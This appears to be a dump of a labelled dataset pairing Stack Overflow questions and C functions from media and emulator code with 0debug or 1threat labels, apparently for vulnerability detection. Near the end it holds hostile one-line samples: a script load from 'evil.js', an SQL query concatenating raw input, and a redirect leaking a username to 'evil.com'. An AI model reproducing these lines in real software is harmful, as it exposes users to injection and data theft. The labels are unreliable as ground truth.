problem
stringlengths
26
131k
labels
class label
2 classes
Getting an error when trying to use Openpyxl : I'm getting a Traceback (most recent call last) error when trying to use openpyxl: The only line of code i have is ''' import openpyxl ''' ``` 'Traceback (most recent call last): File "C:/Users/rwarke/PycharmProjects/Helloworld/HelloWorld.py", line 1,...
0debug
Prevent keyboard dismiss. React native : <p>How to keep keyboard opened when i have <code>TextInput</code> and <code>Touchable</code> near input that sends message. So i want to send message without double tap on touchable. First to hide keyboard, second to send message. How to do that?</p>
0debug
Could not find cordova integration in the default project : <p>following the <a href="https://ionicframework.com/docs/building/running" rel="noreferrer">official getting started tutorial</a> I get the following error when I try to deploy the application in my phone using this command: <code>ionic serve --devapp</code> ...
0debug
logical python comparison, evaluates False when it should be true : <p>Why does the following evaluates to False in Python?</p> <pre><code>6==(5 or 6) False 'b'==('a' or 'b') False </code></pre>
0debug
how to add custom color to flutter? : <p>i want to change the color of appbar and use a custom color for it, i tried many options but none seem to work. Is there any thing im missing?</p> <pre><code>import 'package:flutter/material.dart'; final ThemeData CompanyThemeData = new ThemeData( brightness: Brightness.ligh...
0debug
static int pci_add_option_rom(PCIDevice *pdev, bool is_default_rom) { int size; char *path; void *ptr; char name[32]; if (!pdev->romfile) return 0; if (strlen(pdev->romfile) == 0) return 0; if (!pdev->rom_bar) { int class = pci_get_word(...
1threat
let vs var in the global scope : <p>Why this will print the names as expected:</p> <pre><code>var firstName = 'Charlie', lastName = "Brown" function showFullName() { console.log(this.firstName+' '+this.lastName); } window.showFullName(); </code></pre> <p>but, if I replace 'var' for 'let', I will get 'undef...
0debug
void ff_h264_filter_mb(const H264Context *h, H264SliceContext *sl, int mb_x, int mb_y, uint8_t *img_y, uint8_t *img_cb, uint8_t *img_cr, unsigned int linesize, unsigned int uvlinesize) { const int mb_xy= mb_x + mb_y*h->mb_stride; const i...
1threat
Error with atom not able to install themes : // Got this Error While Installing the Hydrogen Package in Atom // Even While Installing themes in atom text editor I get this message Installing “Hydrogen@1.20.0” failed.Hide output… gyp info it worked if it ends with ok gyp info using node-gyp@3...
0debug
Segmentation fault (core dumped) with strcpy : <p>I'v encountered "Segmentation fault (core dumped)" when compile my C program in *nix. I've narrowed the mistake to this line (without this line my program can run):</p> <pre><code>strcpy(con[count], "1234"); </code></pre> <p>Before that, I declared con as:</p> <pre><...
0debug
How to send json data in POST request using C# : <p>I want to send json data in POST request using C#.</p> <p>I have tried few ways but facing lot of issues . I need to request using request body as raw json from string and json data from json file.</p> <p>How can i send request using these two data forms.</p> <p>Ex...
0debug
Is using AWS S3 with AWS EC2 necessary? : <p>I have been using EC2 for several months now for my mobile application, and I have come to a point where I would like to make the server as great as I can...</p> <p>I have just been using EC2 and uploading images/video etc to it, now after 6-8 of research, I am quite confus...
0debug
static int ptx_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; const uint8_t *buf_end = avpkt->data + avpkt->size; PTXContext * const s = avctx->priv_data; AVFrame *picture = data; AVFrame * const ...
1threat
Why i don`t have attribute textinput? : I have python 3.7 and it just doesn`t shows me textinput and numinput as an attribute. It works great with turtle.onclick() or ondrag but attributes textinput and numinput just disappeared How can I fix this?
0debug
int vhdx_parse_log(BlockDriverState *bs, BDRVVHDXState *s, bool *flushed) { int ret = 0; VHDXHeader *hdr; VHDXLogSequence logs = { 0 }; hdr = s->headers[s->curr_header]; *flushed = false; if (s->log.hdr == NULL) { s->log.hdr = qemu_blockalign(bs, sizeof(VHDXLogEntryHe...
1threat
How to execute click function before the blur function : <p>I've got a simple issue but I can't seem to figure out any solution.</p> <p>Basically I've got an input that toggles a dropdown when focused, and when it's not focused anymore it should close the dropdown.</p> <p>However, the problem is that if you click on ...
0debug
static inline void RENAME(yuv2packed1)(SwsContext *c, const uint16_t *buf0, const uint16_t *uvbuf0, const uint16_t *uvbuf1, const uint16_t *abuf0, uint8_t *dest, int dstW, int uvalpha, enum PixelFormat dstFormat, int flags, int y) { const int yalpha1=0; int i; const uint16_t...
1threat
document.write('<script src="evil.js"></script>');
1threat
Returning dates, between two dates (Gregorian Calender) : <p>I'm creating a program which can take appointments. E.g. A doctors appointment, it will take name, number and date the appointment was created into an array.</p> <p>if i want to check between date a and date b and see what appointments are between those dat...
0debug
Multiple conditions in R using a specific variable : <p>i have a simple question. I have a big df like :</p> <pre><code> Name AGE Order Anna 25 1 Anna 28 2 Peter 10 1 Paul 15 1 Mary 14 1 John 8 1 Charlie 24 2 Robert 20 2 </code></...
0debug
static int mpeg4_decode_partitioned_mb(MpegEncContext *s, DCTELEM block[6][64]) { int cbp, mb_type; const int xy= s->mb_x + s->mb_y*s->mb_width; mb_type= s->mb_type[xy]; cbp = s->cbp_table[xy]; if(s->current_picture.qscale_table[xy] != s->qscale){ s->qscale= s->current_picture.qsc...
1threat
Cpp pointers and references : I'm reading the C++ Primer 5th Edition, and it has a part that shows us the following code: *&r = p; What is the meaning of "*&", I can't understand!
0debug
Angular 6 upgrade: debounceTime is not property of Subject : <p>I am attempting to upgrade my app from Angular 5 to Angular 6. I followed the steps on the <a href="https://update.angular.io/" rel="noreferrer">https://update.angular.io/</a> At least i think i did. </p> <p>The Error is :</p> <pre><code>Property 'deboun...
0debug
static int cpu_can_run(CPUState *env) { if (env->stop) return 0; if (env->stopped) return 0; if (!vm_running) return 0; return 1; }
1threat
Default radio button select value angular material 2 : <p>I am working on angular material 2 radio button following this documentation:<a href="https://material.angular.io/components/component/radio" rel="noreferrer">https://material.angular.io/components/component/radio</a>.</p> <p>The problem that I am facing is to ...
0debug
Firebase is free to use for Unity or not? : <p>i want to use Firebase in my Augmented Reality application.so Kindly someone tell me that Firebase is free for Unity or not?</p>
0debug
What is right syntax for args in Django 1.10 : I started to study Django 1.10 but uses example made on 1.6. That's why I have some troubles with syntax in new version. This's my function: def article(request, article_id=1): comment_form = CommentForm @csrf_protect args = {} ...
0debug
Angular 2 redirect on click : <p>How to create simple redirect on click on some button in Angular 2? Already tried:</p> <pre><code>import {Component, OnInit} from 'angular2/core'; import {Router, ROUTER_PROVIDERS} from 'angular2/router' @Component({ selector: 'loginForm', templateUrl: 'login.html', provid...
0debug
Python Help Please : Write a function called longestword that takes a list of items and returns the longest string in the list. For example given the list [11.22,"hello",20000,"Thanksgiving!",True] it should return Thanksgiving! which is the longest string in the list. Thanks so much!
0debug
How to iterate over Python dictionary keys : <p>I have a dictionary as follows. How can I iterate over all the values in the dictionary with matching first and second keys? for example iterate over all ('picture','angie',*) in the following dictionary </p> <pre><code>book = {('poem', 'jim', '1'): '$50', ('poem', 'j...
0debug
static int avs_probe(AVProbeData * p) { const uint8_t *d; if (p->buf_size < 2) return 0; d = p->buf; if (d[0] == 'w' && d[1] == 'W' && d[2] == 0x10 && d[3] == 0) return 50; return 0; }
1threat
KEGG Annotation : <p>I have a set of genes (Amino acid sequences). I want to find the Kegg based functional annotations or KO ids. Is there any KEGG database available for download? I want to use blast with that database. Additionally, I was looking for R package that can help me in this regard.</p> <p>Hope so I have ...
0debug
int unix_listen(const char *str, char *ostr, int olen) { QemuOpts *opts; char *path, *optstr; int sock, len; opts = qemu_opts_create(&dummy_opts, NULL, 0); optstr = strchr(str, ','); if (optstr) { len = optstr - str; if (len) { path = g_malloc(len+1); ...
1threat
Is it possible to implement bottom tab bar functionality like iOS in android? : <p>In iOS , bottom tab bar functionality is very basic. But in android , I can't implement this functionality. My idea is as follows. Tab bar contains SMS, Call, Camera - 3 tab bar icons. Whenever taps this icons, I want to run SMS, Phone c...
0debug
Add one to many in form - Backpack laravel : <p>I'm using <a href="https://backpackforlaravel.com/" rel="noreferrer">Backpack for Laravel</a> to provide the backend area of my laravel website.</p> <p>I'm having the following <strong>tables</strong> in my database structure:</p> <p><a href="https://i.stack.imgur.com/L...
0debug
static void ff_h264_idct_add16_sse2(uint8_t *dst, const int *block_offset, DCTELEM *block, int stride, const uint8_t nnzc[6*8]){ int i; for(i=0; i<16; i+=2) if(nnzc[ scan8[i+0] ]|nnzc[ scan8[i+1] ]) ff_x264_add8x4_idct_sse2 (dst + block_offset[i], block + i*16, stride); }
1threat
AngularFire2 - Setting custom key when pushing : <p>I am learning angularfire2 in Ionic2</p> <pre><code> const newUser = this._db.list('/users'); setTimeout(() =&gt; { newUser.push(this.userInfo) .then((data) =&gt; console.log(data)) },3000) </code></pre> <p>I want to know if there is any way I can set ...
0debug
Is it better to use the generate migration command to build a database table or is the generate model command better? : <p>I am learning rails and it seems that there are two ways to create a database structure.</p> <p>One is to use rails g migration table name and then add columns within the migration file. </p> <p>...
0debug
Hello Word Device Tree Based device driver : <p>I have read and almost gone through all the linux kernel documentation on the device tree and device tree overlays.I am not able to understand if we have to create a new entree in the device tree of the platform or to create a new overlay for the device for a new driver b...
0debug
c programming with arrays and pointers : i am coding one of my assignments but I cannot get right answer, it is asked to get even numbers using pointers of arr[100]; please can you find what is incorrect int main() { int ar[100],*i,*j,n=0,even,*peven=&even; scanf("%d",&n); for(i=ar;i<ar+n;i++) { scanf...
0debug
do you know how to fix this UPDATE errpr? : when this code runs, it says there is an UPDATE writing error. dose anybody knows whats the problem or how to fix it? this is the cood: string sql2 = "UPDATE ezuser"; sql2 += " SET fname = '" + Request.Form["fname"]+ "'"; sql2 += " , lname = ...
0debug
Getting text from selenium python : [enter image description here][1] [1]: https://i.stack.imgur.com/uyCBe.png Cannot get the "You can't join this group because it is full." as a text. Please hep me.
0debug
My SQL Python ProgrammingError: 1064 (42000) : <p>I am trying to store scraped data with scrapy to a sql database but I get the following error: ProgrammingError: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at li...
0debug
How do I get document injected into systemjs-builder for bundling a angular 4.0.0 app? : <p>I'm trying to bundle an angular 4.0.0 app.</p> <p>I've tried browserify but the new angular-loader plugin (that allows for not needing the moduleId in components with templateUrl) does not get called and so the templates end up...
0debug
Make condition to the partial render on all pages except root (ROR) : <p>I've already did posting related with this on: <a href="https://stackoverflow.com/questions/48419871/make-condition-to-hide-the-render-if-the-page-is-change-on-ror">Make condition to hide the render if the page is change on ROR</a></p> <p>but now...
0debug
static int mxf_read_packet_old(AVFormatContext *s, AVPacket *pkt) { KLVPacket klv; MXFContext *mxf = s->priv_data; int ret; while ((ret = klv_read_packet(&klv, s->pb)) == 0) { PRINT_KEY(s, "read packet", klv.key); av_log(s, AV_LOG_TRACE, "size %"PRIu64" offset %#"PRIx64"\n", klv...
1threat
Where are the gains using numba coming from for pure numpy code? : <p>I would like to understand where the gains are coming from when using Numba to accelerate pure <code>numpy</code> code in a for loop. Are there any profiling tools that allow you to look into <code>jitted</code> functions? </p> <p>The demo code (as ...
0debug
java.lang.IllegalStateException: Only fullscreen opaque activities can request orientation : <p>I am facing the problem while retrieving the contacts from the contact book in Android 8.0 Oreo java.lang.IllegalStateException: Only fullscreen opaque activities can request orientation</p> <p>I am trying to get the contac...
0debug
static gboolean fd_trampoline(GIOChannel *chan, GIOCondition cond, gpointer opaque) { IOTrampoline *tramp = opaque; if (tramp->opaque == NULL) { return FALSE; } if ((cond & G_IO_IN) && tramp->fd_read) { tramp->fd_read(tramp->opaque); } if ((cond & G_IO_OUT) && tram...
1threat
static void rtas_ibm_change_msi(PowerPCCPU *cpu, sPAPREnvironment *spapr, uint32_t token, uint32_t nargs, target_ulong args, uint32_t nret, target_ulong rets) { uint32_t config_addr = rtas_ld(args, 0); uint64_t...
1threat
static inline unsigned int rgb_to_pixel8(unsigned int r, unsigned int g, unsigned b) { return 0; }
1threat
int do_balloon(Monitor *mon, const QDict *params, MonitorCompletion cb, void *opaque) { int ret; if (kvm_enabled() && !kvm_has_sync_mmu()) { qerror_report(QERR_KVM_MISSING_CAP, "synchronous MMU", "balloon"); return -1; } ret = qemu_balloon(qdict_get_int(params, "value...
1threat
I Need flaten my array : How could I flatten my array of object : <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js --> var mylist = [{THEMEID: 1, TITLE: "myTheme1", PARENTID: 0, children:[ {ITEMID: 1, NAME: "myItem1", THEMEID:...
0debug
Im creating a game.How do I change different background images? When I try it just displays for like .5 sec. Please help me : This is my code to a new background and objects. def bathRoom(): global drag, a, b, c, d, e, f, g, h, i, j bg_bathroom = True bathroom = pygame.image.load("pou_bathroom.jpg...
0debug
Scheme language setting ignored in iOS unit and ui tests : <p>My final goal is to issue </p> <pre><code>xcodebuild test </code></pre> <p>from command line picking different schemes for different languages.</p> <p>Currently I have two schemes, the only difference between them is the application language. In one schem...
0debug
Animate.css and Angular 4 : <p>I've poked around a bit, and it seems that there really is no straightforward way to get the Animate.css animations working in Angular. Meaning, the animations would essentially need to be stripped out of the Animate.css library and translated into Angular animations.</p> <p>Is there so...
0debug
int blk_insert_bs(BlockBackend *blk, BlockDriverState *bs, Error **errp) { blk->root = bdrv_root_attach_child(bs, "root", &child_root, blk->perm, blk->shared_perm, blk, errp); if (blk->root == NULL) { return -EPERM; } bdrv_ref(bs); notifier_li...
1threat
Using PHP to write query string values to a .txt file and save : <p>I am able to take the values from a URL's query string and store them in some variables, however I would also like to print or write these values to a single line in a .txt document, and save that document in a given directory on the server.</p> <p>Ea...
0debug
connection.query('SELECT * FROM users WHERE username = ' + input_string)
1threat
how can i style my php code result? : i wrote this code and i want to style it with css. I added style to it but same result appears can any body help please . <p> <phpcode> <?php $term = mysql_real_escape_string($_REQUEST['term']); $servername = "localhost"; $username = "cp22084"; $password...
0debug
Open flutter dialog after navigation : <p>I call Navigator pushReplacement to show a new view within my flutter app and want to immediately pop up a simple dialog to introduce the page to the user. (I want the user to be able to see the new view in the background)</p> <p>If I call showDialog within the build method of...
0debug
Hi sorry can someone teach me how to find the max in a list of numbers using the for/while loop : Hi sorry can someone teach me how to find the max in a list of numbers using the for/while loop in python 3. I have been stuck all day for example data = [73284, 8784.3, 9480938.2, 984958.3, 24131, 45789, 734987, 2354...
0debug
C# problems with for loop : <p>can someone tell me why this doesn't work. I want to display randomly ten chemical elements, but it always displays the same elements. Thanks for help!</p> <pre><code> var random = new Random(); var list = new List&lt;string&gt; { "Hg" , "B", "H", "Mg" }; int index...
0debug
Queue vs Dequeue in java : <p>What is the difference between them? I know that </p> <p>A queue is designed to have elements inserted at the end of the queue, and elements removed from the beginning of the queue. Where as Dequeue represents a queue where you can insert and remove elements from both ends of the queue. <...
0debug
Can I have a route53 subdomain in a different Hosted Zone? : <p>I have foo.com as a Hosted Zone with an A, NS, SOA, TXT and MX Record Sets. It works fine. Now I want a separate test.foo.com with an A entry but I want it in a separate Hosted Zone. Is it possible?</p> <p>If I put an A record in foo.com's Hosted Zone wit...
0debug
Why is variable not always null? : <p>Within the selectMarkerIfHover method, the if statement allows for a case when "lastSelected" is not null. </p> <p>For the life of me I cannot see a situation when this could ever happen, because it appears to always be either null to begin with, or set as null in the mouseMoved m...
0debug
Pass javascript variable from index.js into index.html : This is my index.js file function fun() { var obj; } This is my index.html() <script> src="js/index.js" </script> I want to use variable obj here I saw some solutions to create a variable and pass in...
0debug
How to get the returned rows after executing a PHP/MYSQL prepared statement? : <p>I know the output of an execute statement is a bool. But then how do you get the result of a SELECT statement like below?</p> <pre><code>&lt;?php /* Execute a prepared statement by passing an array of insert values */ $calories = 150; $c...
0debug
I can compile this code and the build is successful, although nothing is printing out on the print line. Java Netbeans : public class TEST{ String name1 = "Kelly"; String name2 = "Christy"; String name3 = "Johnson"; public static void main(String[] args) { } public...
0debug
vcard_emul_replay_insertion_events(void) { VReaderListEntry *current_entry; VReaderListEntry *next_entry = NULL; VReaderList *list = vreader_get_reader_list(); for (current_entry = vreader_list_get_first(list); current_entry; current_entry = next_entry) { VReader *vreader = ...
1threat
Populate javascript variables with php variables : I must use php variables (from DB) to populate javascript variables like the one below: var oMain = new CMain({ mon: 100, min_: 10, ...
0debug
how to get last modified record from spreadsheet and insert into database(mysql) + ajax? : I have created app in script.google.com and define below function which is auto trigger when any cell is changed from spreadsheet. Now i would like to update that value in my database (mysql). Please help me. Below is t...
0debug
How to find a string is Json or not in C++? : I am using #include jansson.h bool ConvertJsontoString(string inputText, string& OutText) { /* Before doing anything i want to check the inputText is a valid json string or not */ }
0debug
syntax error, unexpected '$query' (T_VARIABLE) : <?php $host_name = "localhost"; $username = "root"; $password = ""; $database = "jaka_crud_ci"; $koneksi = mysqli_connect($host_name, $username, $password, $database); mysql_select_db($database); $query = mysqli_query($koneksi, "SELECT * ...
0debug
Fody is only supported on MSBuild 16 and above. Current version: 15 : <p>Visual Studio 2017 let me know there was an upgrade to Fody version 5 this morning. I accepted and did a NuGet package update of both Fody and PropertyChanged.Fody.</p> <p>Now, my project/solution will no longer build.</p> <p>The error is:</p> ...
0debug
Finding maximum value in a dictionary Python : <p>the input I have given is </p> <ul> <li>BatmanA,14</li> <li>BatmanB,199</li> <li>BatmanC,74</li> <li>BatmanD,15</li> <li>BatmanE,9</li> </ul> <p>and the output i expect is the highest value and i get something else this is my code below i have tried other methods too ...
0debug
'AnonymousUser' object is not iterable : <pre><code>if not request.user.is_authenticated: return None try: return ClientProfile.objects.get(user=request.user) except ClientProfile.DoesNotExist: return None </code></pre> <p>This code should return None, if I'm not logged in and trying to call it. But as I ...
0debug
Sort multiple files into one single file : <p>I have 200 folders with up to 20 files in each folder. Total the dataset is 2gb. I tried parsing all at once and put each line into a list and sort them but i get out of memory.</p> <p>What approach could I use to sort the multiple files into on single file?</p>
0debug
static void x86_cpu_apic_create(X86CPU *cpu, Error **errp) { DeviceState *dev = DEVICE(cpu); APICCommonState *apic; const char *apic_type = "apic"; if (kvm_irqchip_in_kernel()) { apic_type = "kvm-apic"; } else if (xen_enabled()) { apic_type = "xen-apic"; } cpu->...
1threat
static void send_framebuffer_update_hextile(VncState *vs, int x, int y, int w, int h) { int i, j; int has_fg, has_bg; uint8_t *last_fg, *last_bg; vnc_framebuffer_update(vs, x, y, w, h, 5); last_fg = (uint8_t *) malloc(vs->depth); last_bg = (uint8_t *) malloc(vs->depth); has_fg = ...
1threat
What are the most important updated points from django since 1.5.8? : <p>I've an application that still uses Django 1.5.8, there's a lot of work to do in an update, I need to figure what are the most important changes since that version. Like major bugfixes, new tools, new libraries, new scallable contents. That's a lo...
0debug
How to convert each character in a character array to integer ? : I have tried the standard methods but still I get error in my answer. For eg, with this code: int main() { int val; char str[]={'1','45','0'}; val = str[1]-'0'; printf("Int value = %d\n",val); return(0); } ...
0debug
How to solve stale exception in selenium? : <p>I have tried fluent wait but Actually Sometime run successfully and sometime's got exception like stale exception in selenium.</p>
0debug
Parallel loop with insert into tabel (oracel) (c#) : i'm trying to insert into tabel in a parallel loop. public static void idToHashEncoder() { string sql = ""; Stopwatch sw = new Stopwatch(); sw.Start(); Parallel.For(0, 1001, i => { ...
0debug
installing Tweepy for python3 on mac : Ok I have posted this question before and it seams like no one is able to guide me :( i want to run tweepy on python 3. I have it working on python2 right now. I followed the steps on this page https://github.com/tweepy/tweepy When I go to write python3 setup....
0debug
Use str() command to compose nested string : <p>Intuitively, I want to input str(str(100)) to output '"100"', but this, of course, does not work. Any suggestions on how to compose a nested string in Python using only the str() command?</p>
0debug
def multiply_int(x, y): if y < 0: return -multiply_int(x, -y) elif y == 0: return 0 elif y == 1: return x else: return x + multiply_int(x, y - 1)
0debug
Check two location(latitude, longlatitude) near in 2000 meters : <p>I have two location latitude, long-latitude. I need to check 2nd location available within 2000 meters with first 1st location.</p> <p>Also i have location array an i want to check with 1st location. I need result how many available in 2000 meters</p>...
0debug
pointer from one class to anotehr : Hello I want to point "seller" to "name" but it gives me an error. please help. ` class Person { public: friend class Apartment; Person() { cout << "~ "; }//constructor string name = "Mr.Smith\n"; string TelNumber = "01"; ...
0debug
Documentation on archiveArtifacts command in Jenkins : <p>I'm working on a basic Jenkins pipeline. The build and testing are successful but I'm looking at how to archive the build. For context, this is a simple Rust webserver.</p> <p>Under the <a href="https://jenkins.io/doc/pipeline/steps/" rel="noreferrer">pipeline ...
0debug
Python - Packaging Alembic Migrations with Setuptools : <p>What is the right way to package Alembic migration files in a Setuptools <code>setup.py</code> file? Everything is in my repo root as <code>alembic/</code>.</p> <p>This is a Python application, not a library.</p> <p>My desired installation flow is that someon...
0debug
Is there a way to use multiple auth_request directives in nginx? : <p>I would like to use multiple <code>auth_request</code> directives in order to try authentication with multiple servers - i.e. if the first auth server returns <code>403</code>, try the second auth server. I tried a straightforward approach like this:...
0debug
One line to check if string or list, then convert to list in Python : <p>Suppose I have an object <code>a</code> that can either be a string (like <code>'hello'</code> or <code>'hello there'</code>) or a list (like <code>['hello', 'goodbye']</code>). I need to check if <code>a</code> is a string or list. If it's a stri...
0debug
int avcodec_default_reget_buffer(AVCodecContext *s, AVFrame *pic){ AVFrame temp_pic; int i; assert(s->codec_type == AVMEDIA_TYPE_VIDEO); if (pic->data[0] && (pic->width != s->width || pic->height != s->height || pic->format != s->pix_fmt)) { av_log(s, AV_LOG_WARNING, "Picture changed fr...
1threat
static inline void gen_bcond (DisasContext *ctx, int type) { target_ulong target = 0; target_ulong li; uint32_t bo = BO(ctx->opcode); uint32_t bi = BI(ctx->opcode); uint32_t mask; if ((bo & 0x4) == 0) gen_op_dec_ctr(); switch(type) { case BCOND_IM: li = (targ...
1threat
static void x86_cpu_reset(CPUState *s) { X86CPU *cpu = X86_CPU(s); X86CPUClass *xcc = X86_CPU_GET_CLASS(cpu); CPUX86State *env = &cpu->env; target_ulong cr4; uint64_t xcr0; int i; xcc->parent_reset(s); memset(env, 0, offsetof(CPUX86State, end_reset_fields)); tlb_flush...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
put output values in table form : i have proble with my code, so please anyone can help me? b'Filesystem' b'Size' b'Used' b'Avail' b'Use%' b'Mounted' b'on' b'/dev/mapper/rhel-root b'17G' b'7.7G' b'9.4G' b'46%' b'/' b'devtmpfs' b'15G' b'0'...
0debug
error syntax error: operand expected (error token is ""0"") on my code : i have a question about bash script. this is my code but i have an error when running it.please tell me what is problem and how i can fix it? #!/bin/bash clear old_IFS=$IFS IFS=$'\n' lines={$(cat dic.txt)} IFS=$old_...
0debug
What is the worst Time Complexity to insert a node in Binary search Tree? : What is the worst Time Complexity to insert a node in Binary search Tree?
0debug